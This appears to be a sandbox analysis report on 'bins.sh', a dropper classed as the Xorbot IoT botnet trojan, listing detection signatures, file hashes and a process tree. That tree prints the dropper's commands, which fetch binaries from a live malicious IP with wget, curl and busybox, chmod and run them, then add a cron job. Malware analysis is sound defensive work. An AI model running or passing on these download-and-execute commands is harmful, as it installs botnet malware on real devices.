Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Resubmissions

01/03/2025, 07:05

250301-hwytrsvmz87

27/02/2025, 14:28

250227-rs4ehszr1410

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/02/2025, 14:28

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250227-rs4ehszr14
  • SHA256 3f5d3c510020efce3f7680c522ece2e02bbbe5875c0a02500a6ae6fc68a0736a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1834) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:651
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:653
      • /usr/bin/wget
        wget http://37.44.238.88/bins/hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
        2⤵
        • Writes file to tmp directory
        PID:659
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:669
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
        2⤵
        • Writes file to tmp directory
        PID:678
      • /bin/chmod
        chmod 777 hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
        2⤵
        • File and Directory Permissions Modification
        PID:681
      • /tmp/hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
        ./hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
        2⤵
          PID:682
        • /bin/rm
          rm hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
          2⤵
            PID:686
          • /usr/bin/wget
            wget http://37.44.238.88/bins/sh3GsDvsd0IVicINT5esOufF1IF8Hhlw9f
            2⤵
            • Writes file to tmp directory
            PID:688
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/sh3GsDvsd0IVicINT5esOufF1IF8Hhlw9f
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:690
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/sh3GsDvsd0IVicINT5esOufF1IF8Hhlw9f
            2⤵
            • Writes file to tmp directory
            PID:692
          • /bin/chmod
            chmod 777 sh3GsDvsd0IVicINT5esOufF1IF8Hhlw9f
            2⤵
            • File and Directory Permissions Modification
            PID:693
          • /tmp/sh3GsDvsd0IVicINT5esOufF1IF8Hhlw9f
            ./sh3GsDvsd0IVicINT5esOufF1IF8Hhlw9f
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:694
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:696
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:697
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:698
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:699
                • /bin/rm
                  rm sh3GsDvsd0IVicINT5esOufF1IF8Hhlw9f
                  2⤵
                    PID:701
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/Os1xQDMV86r1DO9zwNewNh5raiouomv1wt
                    2⤵
                      PID:704
                    • /usr/bin/curl
                      curl -O http://37.44.238.88/bins/Os1xQDMV86r1DO9zwNewNh5raiouomv1wt
                      2⤵
                        PID:705
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/Os1xQDMV86r1DO9zwNewNh5raiouomv1wt
                        2⤵
                        • Writes file to tmp directory
                        PID:706
                      • /bin/chmod
                        chmod 777 Os1xQDMV86r1DO9zwNewNh5raiouomv1wt
                        2⤵
                        • File and Directory Permissions Modification
                        PID:707
                      • /tmp/Os1xQDMV86r1DO9zwNewNh5raiouomv1wt
                        ./Os1xQDMV86r1DO9zwNewNh5raiouomv1wt
                        2⤵
                          PID:708
                        • /bin/rm
                          rm Os1xQDMV86r1DO9zwNewNh5raiouomv1wt
                          2⤵
                            PID:710
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/sMHyINpxKy80q0FLgduhye8FSzofLBlrkb
                            2⤵
                              PID:711
                            • /usr/bin/curl
                              curl -O http://37.44.238.88/bins/sMHyINpxKy80q0FLgduhye8FSzofLBlrkb
                              2⤵
                                PID:712
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/sMHyINpxKy80q0FLgduhye8FSzofLBlrkb
                                2⤵
                                • Writes file to tmp directory
                                PID:713
                              • /bin/chmod
                                chmod 777 sMHyINpxKy80q0FLgduhye8FSzofLBlrkb
                                2⤵
                                • File and Directory Permissions Modification
                                PID:714
                              • /tmp/sMHyINpxKy80q0FLgduhye8FSzofLBlrkb
                                ./sMHyINpxKy80q0FLgduhye8FSzofLBlrkb
                                2⤵
                                  PID:715
                                • /bin/rm
                                  rm sMHyINpxKy80q0FLgduhye8FSzofLBlrkb
                                  2⤵
                                    PID:719
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/6XMZ3nCdbUKHoO3Ekm2EaFmvkQNT4TJIPF
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:720
                                  • /usr/bin/curl
                                    curl -O http://37.44.238.88/bins/6XMZ3nCdbUKHoO3Ekm2EaFmvkQNT4TJIPF
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:721
                                  • /bin/busybox
                                    /bin/busybox wget http://37.44.238.88/bins/6XMZ3nCdbUKHoO3Ekm2EaFmvkQNT4TJIPF
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:723
                                  • /bin/chmod
                                    chmod 777 6XMZ3nCdbUKHoO3Ekm2EaFmvkQNT4TJIPF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:732
                                  • /tmp/6XMZ3nCdbUKHoO3Ekm2EaFmvkQNT4TJIPF
                                    ./6XMZ3nCdbUKHoO3Ekm2EaFmvkQNT4TJIPF
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:733
                                  • /bin/rm
                                    rm 6XMZ3nCdbUKHoO3Ekm2EaFmvkQNT4TJIPF
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:736
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/6cJtQqOikJgjCPsHPIaygXJ72X06oGkkKn
                                    2⤵
                                      PID:737
                                    • /usr/bin/curl
                                      curl -O http://37.44.238.88/bins/6cJtQqOikJgjCPsHPIaygXJ72X06oGkkKn
                                      2⤵
                                        PID:738
                                      • /bin/busybox
                                        /bin/busybox wget http://37.44.238.88/bins/6cJtQqOikJgjCPsHPIaygXJ72X06oGkkKn
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:740
                                      • /bin/chmod
                                        chmod 777 6cJtQqOikJgjCPsHPIaygXJ72X06oGkkKn
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:742
                                      • /tmp/6cJtQqOikJgjCPsHPIaygXJ72X06oGkkKn
                                        ./6cJtQqOikJgjCPsHPIaygXJ72X06oGkkKn
                                        2⤵
                                          PID:744
                                        • /bin/rm
                                          rm 6cJtQqOikJgjCPsHPIaygXJ72X06oGkkKn
                                          2⤵
                                            PID:746
                                          • /usr/bin/wget
                                            wget http://37.44.238.88/bins/UwGpCS9ybvjxkE6uwQ5YiIAUmbCf9o020g
                                            2⤵
                                              PID:748

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                6XMZ3nCdbUKHoO3Ekm2EaFmvkQNT4TJIPF
                                                • Path /tmp/6XMZ3nCdbUKHoO3Ekm2EaFmvkQNT4TJIPF
                                                • Size 107KB
                                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                6cJtQqOikJgjCPsHPIaygXJ72X06oGkkKn
                                                • Path /tmp/6cJtQqOikJgjCPsHPIaygXJ72X06oGkkKn
                                                • Size 117KB
                                                • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                Os1xQDMV86r1DO9zwNewNh5raiouomv1wt
                                                • Path /tmp/Os1xQDMV86r1DO9zwNewNh5raiouomv1wt
                                                • Size 112KB
                                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
                                                • Path /tmp/hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
                                                • Size 99KB
                                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                sMHyINpxKy80q0FLgduhye8FSzofLBlrkb
                                                • Path /tmp/sMHyINpxKy80q0FLgduhye8FSzofLBlrkb
                                                • Size 122KB
                                                • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                sh3GsDvsd0IVicINT5esOufF1IF8Hhlw9f
                                                • Path /tmp/sh3GsDvsd0IVicINT5esOufF1IF8Hhlw9f
                                                • Size 119KB
                                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                tmp.gi1jaU
                                                • Path /var/spool/cron/crontabs/tmp.gi1jaU
                                                • Size 210B
                                                • SHA256 8871f976555340e9389c821adf013f2c513791bbafd24d3b7313cdd85693bcff
                                                • MD5 SHA1 SHA512
                                                Submit Download